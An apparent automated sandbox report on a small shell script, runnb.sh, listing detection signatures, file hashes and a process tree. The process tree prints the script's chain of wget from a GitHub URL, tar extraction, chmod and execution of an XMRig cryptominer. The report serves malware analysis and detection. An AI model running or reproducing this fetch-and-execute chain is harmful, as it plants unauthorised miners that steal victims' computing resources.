Analysis

  • max time kernel
    1799s
  • max time network
    1796s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240522.1-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240522.1-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    16/10/2024, 23:45

General

  • Target
    runnb.sh
  • Size 160B
  • Sample241016-3rv8astcjp
  • SHA256 765a3183613b556d32d8775fc21410c61d1565a372c27ed54193d4808b5cdb01
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 27 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:1566
      • /usr/bin/wget
        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1567
      • /usr/bin/tar
        tar xvf xmrigtar.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1578
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1579
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1579
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1579
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1579
              • /usr/bin/chmod
                chmod +x xmrig
                2⤵
                • File and Directory Permissions Modification
                PID:1580
              • /tmp/xmrig-6.22.0/xmrig
                ./xmrig
                2⤵
                • Executes dropped EXE
                • Checks hardware identifiers (DMI)
                • Reads hardware information
                • Checks CPU configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:1581

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .wget-hsts

                  • Path /root/.wget-hsts
                  • Size 215B
                  • SHA256 becbaba2271ba60cf7249651b9e014ca6db0c31af708bd50dc456202ebff1237
                  • MD5 SHA1 SHA512

                  SHA256SUMS

                  • Path /tmp/xmrig-6.22.0/SHA256SUMS
                  • Size 150B
                  • SHA256 99ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa
                  • MD5 SHA1 SHA512

                  config.json

                  • Path /tmp/xmrig-6.22.0/config.json
                  • Size 919B
                  • SHA256 1aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd
                  • MD5 SHA1 SHA512

                  config.json

                  • Path /tmp/xmrig-6.22.0/config.json
                  • Size 1KB
                  • SHA256 4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5
                  • MD5 SHA1 SHA512

                  xmrig

                  • Path /tmp/xmrig-6.22.0/xmrig
                  • Size 7.9MB
                  • SHA256 fd11982f252c060a1372e81d5be57589647052b56281a5c54975ca22164f7726
                  • MD5 SHA1 SHA512 SSDEEP

                  xmrigtar.tar.gz

                  • Path /tmp/xmrigtar.tar.gz
                  • Size 3.4MB
                  • SHA256 11d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f
                  • MD5 SHA1 SHA512 SSDEEP